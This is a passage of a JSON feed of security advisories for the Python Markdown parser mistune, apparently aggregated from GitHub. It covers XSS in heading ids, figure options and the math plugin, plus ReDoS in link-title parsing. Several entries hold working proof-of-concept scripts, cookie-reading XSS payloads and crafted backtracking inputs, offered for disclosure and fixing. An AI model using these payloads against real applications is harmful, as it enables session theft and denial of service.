md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput — {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput — HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e↓ rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 — Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 — Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += ' id=\"' + _id + '\"' with no escaping.\nTriggered when heading_id callback returns raw heading text — the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading → sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading → quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's `heading_id` callback without independently sanitising the returned value.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-09T00:13:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7","https://nvd.nist.gov/vuln/detail/CVE-2026-44897","https://github.com/lepture/mistune/releases/tag/v3.2.1","https://github.com/advisories/GHSA-v87v-83h2-53w7"],"source_kind":"github","identifiers":["GHSA-v87v-83h2-53w7","CVE-2026-44897"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-09T01:00:09.216Z","updated_at":"2026-11-04T06:05:05.035Z","epss_percentage":0.00228,"epss_percentile":0.13569,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ODd2LTgzaDItNTN3N84ABWg4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12ODd2LTgzaDItNTN3N84ABWg4","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.2.1","vulnerable_version_range":"\u003c= 3.2.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ODd2LTgzaDItNTN3N84ABWg4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01OGN3LWczMjItcDk0ds4ABWgz","url":"https://github.com/advisories/GHSA-58cw-g322-p94v","title":"Mistune has XSS via unescaped figclass/figwidth in Figure directive","description":"In `src/mistune/directives/image.py`, the `render_figure()` function concatenates `figclass` and `figwidth` options directly into HTML attributes without escaping (lines 152-168).\n\nThis allows attribute injection and XSS even when `HTMLRenderer(escape=True)` is used, because these values bypass the inline renderer.\n\nOther attributes in the same file (src, alt, style) are properly escaped; figclass/figwidth were missed.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-08T23:43:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-58cw-g322-p94v","https://nvd.nist.gov/vuln/detail/CVE-2026-44896","https://github.com/lepture/mistune/commit/a3cb6e5655308797e8be021d6c7b5bab13cbace2","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-168.yaml","https://github.com/advisories/GHSA-58cw-g322-p94v"],"source_kind":"github","identifiers":["GHSA-58cw-g322-p94v","CVE-2026-44896"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-09T00:00:08.599Z","updated_at":"2026-10-26T21:03:06.185Z","epss_percentage":0.00198,"epss_percentile":0.09519,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OGN3LWczMjItcDk0ds4ABWgz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01OGN3LWczMjItcDk0ds4ABWgz","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.2.1","vulnerable_version_range":"\u003c= 3.2.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OGN3LWczMjItcDk0ds4ABWgz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04Zzg3LWo2cTgtZzkzeM4ABWgy","url":"https://github.com/advisories/GHSA-8g87-j6q8-g93x","title":"Mistune Math Plugin has an XSS Escape Bypass","description":"## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input — no escape() call anywhere\n    return r'\u003cspan class=\"math\"\u003e\\(' + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return '\u003cdiv class=\"math\"\u003e$$\\n' + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 — Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 — Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 — Observe the bypass**\n\nActual output — the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 — Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput — {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput — HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e↓ rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 — Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 — Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  — escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   — escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-08T23:40:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x","https://nvd.nist.gov/vuln/detail/CVE-2026-44708","https://github.com/lepture/mistune/releases/tag/v3.2.1","https://github.com/advisories/GHSA-8g87-j6q8-g93x"],"source_kind":"github","identifiers":["GHSA-8g87-j6q8-g93x","CVE-2026-44708"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-09T00:00:08.599Z","updated_at":"2026-11-04T06:05:05.037Z","epss_percentage":0.00228,"epss_percentile":0.13569,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Zzg3LWo2cTgtZzkzeM4ABWgy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04Zzg3LWo2cTgtZzkzeM4ABWgy","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.2.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Zzg3LWo2cTgtZzkzeM4ABWgy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oanBoLWY0bWMtd3g0Y84ABWSd","url":"https://github.com/advisories/GHSA-hjph-f4mc-wx4c","title":"Duplicate Advisory: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references.\n\n### Original Description\n\n### Summary\n**Denial-of-Service (DoS)** vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs.\n\n**Function affected:** parse_link_title() in helpers.py\n**Issue:** Malformed reference links cause excessive backtracking and parsing loops.\n**Impact:** Remote attackers can submit malicious Markdown to hang processes, causing service unavailability.\n\n### Details\n```\nName: mistune\nVersion: 3.2.0\nPython version: Python 3.13.9\nPIP version: pip 25.2\nOS: Kali-linux-VERSION=\"2025.4\"\n```\n\n### PoC\n```\nimport mistune\nimport base64\n\nprint(\"Exploit started....!\")\ndata = base64.b64decode(\n    \"WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg==\"\n)\nmistune.html(data.decode(\"utf-8\", errors=\"ignore\"))\n```\n\n### Reproduce steps:\nSimply execute above python script it will hang \u0026 increase cpu utilization to 100%\n\n**Fuzzer Output (libFuzzer):**\n```\nERROR: libFuzzer: timeout after 3 seconds\nSUMMARY: libFuzzer: timeout\n```\n\n**Stack Trace (Excerpt):**\n```\nmistune/helpers.py:170 in parse_link_title\nmistune/block_parser.py:259 in parse_ref_link\nmistune/core.py:216 in parse_method\nmistune/block_parser.py:458 in parse\nmistune/markdown.py:93 in parse\nmistune/markdown.py:120 in __call__\n```\n### IMAGE POC:\n\u003cimg width=\"1194\" height=\"728\" alt=\"POC\" src=\"https://github.com/user-attachments/assets/009e836f-fff7-439e-b0be-6e889bed0077\" /\u003e\n\n\n### Impact:\nDenial-of-Service (DoS)\nHigh CPU usage and application hang\nPotential for service unavailability in web apps or APIs processing untrusted Markdown\n\n### Suggested Mitigations:\nImplement parsing depth and iteration limits.\nLimit reference-link title length.\nDetects excessive escape character sequences.\nAdd defensive checks in parse_link_title.\nAdd fuzz regression tests using the provided PoC.\n\nThis vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-06T16:56:26.000Z","withdrawn_at":"2026-05-06T19:41:14.000Z","classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/lepture/mistune/security/advisories/GHSA-hjph-f4mc-wx4c","https://github.com/advisories/GHSA-hjph-f4mc-wx4c"],"source_kind":"github","identifiers":["GHSA-hjph-f4mc-wx4c"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T17:00:08.988Z","updated_at":"2026-10-22T15:04:08.914Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oanBoLWY0bWMtd3g0Y84ABWSd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oanBoLWY0bWMtd3g0Y84ABWSd","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.2.1","vulnerable_version_range":"\u003e= 3.0.0a1, \u003c= 3.2.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oanBoLWY0bWMtd3g0Y84ABWSd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bXAyLXYyN3ItOTl4cM4ABWSc","url":"https://github.com/advisories/GHSA-8mp2-v27r-99xp","title":"Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input","description":"### Summary\n\nA ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.\n\n### Details\n\nThe vulnerable regex is defined in [`src/mistune/helpers.py#L20-L25`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25):\n\n```python\nLINK_TITLE_RE = re.compile(\n    r\"[ \\t\\n]+(\"\n    r'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"|'  # \"title\"\n    r\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"   # 'title'\n    r\")\"\n)\n```\n\nThe double-quote branch compiles to `\"(?:\\\\[PUNCTUATION]|[^\"\\x00])*\"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\\\!`, or as two individual `[^\"\\x00]` characters (`\\` then `!`). The same ambiguity exists in the single-quoted title branch.\n\nWhen the input contains repeated `\\!` pairs with no closing `\"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**.\n\nThis is reachable through normal Markdown parsing via two code paths:\n1. **Inline links**: `[text](url \"PAYLOAD)` → [`parse_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L178) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169)\n2. **Block link reference definitions**: `[label]: url \"PAYLOAD` → [`BlockParser.parse_ref_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L220) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) at [block_parser.py#L259](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L259)\n\n### PoC\n\n```python\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\n# Test with increasing N (number of \\! pairs)\nfor n in [15, 18, 20, 22, 25]:\n    payload = '[x](y \"' + '\\\\!' * n + ')'\n    start = time.time()\n    md(payload)\n    elapsed = time.time() - start\n    print(f\"N={n:2d}  len={len(payload):3d} bytes  time={elapsed:.3f}s\")\n```\n\nOutput (Apple M2, Python 3.14.3, mistune 3.2.0):\n\n```\nN=15  len= 38 bytes  time=0.007s\nN=18  len= 44 bytes  time=0.044s\nN=20  len= 48 bytes  time=0.178s\nN=22  len= 52 bytes  time=0.740s\nN=25  len= 58 bytes  time=5.922s\n```\n\nEach increment of N roughly doubles the execution time (consistent with O(2^N)).\n\nThe same attack works via block link reference definitions:\n\n```python\npayload = '[l]: u \"' + '\\\\!' * 25  # 58 bytes, ~6 seconds\nmd(payload)\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).\n\nAffected use cases include:\n- Web applications with Markdown-enabled input fields (comments, posts, descriptions)\n- Documentation systems that accept user contributions\n- API endpoints that process Markdown\n- Jupyter tooling such as nbconvert that relies on mistune for rendering\n\n### Suggested Fix\n\nExclude the backslash character from the catch-all character class to eliminate the alternation overlap:\n\n```python\n# Before (vulnerable):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"\n\n# After (fixed):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\\\\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\\\\\x00])*'\"\n```\n\nThis ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):\n- Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement)\n- Handles N=50 in 0.000008 seconds\n- Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-06T16:52:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-8mp2-v27r-99xp","https://nvd.nist.gov/vuln/detail/CVE-2026-33079","https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25","https://github.com/advisories/GHSA-8mp2-v27r-99xp"],"source_kind":"github","identifiers":["GHSA-8mp2-v27r-99xp","CVE-2026-33079"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T17:00:08.988Z","updated_at":"2026-11-11T06:05:49.364Z","epss_percentage":0.00592,"epss_percentile":0.48515,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bXAyLXYyN3ItOTl4cM4ABWSc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bXAyLXYyN3ItOTl4cM4ABWSc","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.2.1","vulnerable_version_range":"\u003e= 3.0.0a1, \u003c= 3.2.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bXAyLXYyN3ItOTl4cM4ABWSc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mdzN2LXg0ZjItdjY3M84AAtnx","url":"https://github.com/advisories/GHSA-fw3v-x4f2-v673","title":"Mistune vulnerable to catastrophic backtracking","description":"In Mistune through 2.0.2, support of inline markup is implemented by using regular expressions that can involve a high amount of backtracking on certain edge cases. This behavior is commonly named catastrophic backtracking.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-07-26T00:00:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-34749","https://github.com/lepture/mistune/commit/a6d43215132fe4f3d93f8d7e90ba83b16a0838b2","https://github.com/lepture/mistune/releases","https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2022-237.yaml","https://github.com/lepture/mistune/issues/314#issuecomment-1223972386","https://github.com/lepture/mistune/commit/ca1e7b506850f4e488823fc7338b49a8f9852718","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TQHXITQ2DSBYOILKHXBSBB7PFBPZHF63","https://github.com/advisories/GHSA-fw3v-x4f2-v673"],"source_kind":"github","identifiers":["GHSA-fw3v-x4f2-v673","CVE-2022-34749"],"repository_url":"https://github.com/lepture/mistune","blast_radius":42.30964044377741,"created_at":"2022-12-21T16:12:00.784Z","updated_at":"2026-10-22T15:09:22.459Z","epss_percentage":0.01617,"epss_percentile":0.75546,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mdzN2LXg0ZjItdjY3M84AAtnx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mdzN2LXg0ZjItdjY3M84AAtnx","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0a1, \u003c 2.0.3"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mdzN2LXg0ZjItdjY3M84AAtnx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocHY1LXY4ZzUtYzg2NM4AAYPc","url":"https://github.com/advisories/GHSA-hpv5-v8g5-c864","title":"Cross-site Scripting in Mistune","description":"mistune.py in Mistune 0.7.4 allows XSS via an unexpected newline (such as in java\\nscript:) or a crafted email address, related to the escape and autolink 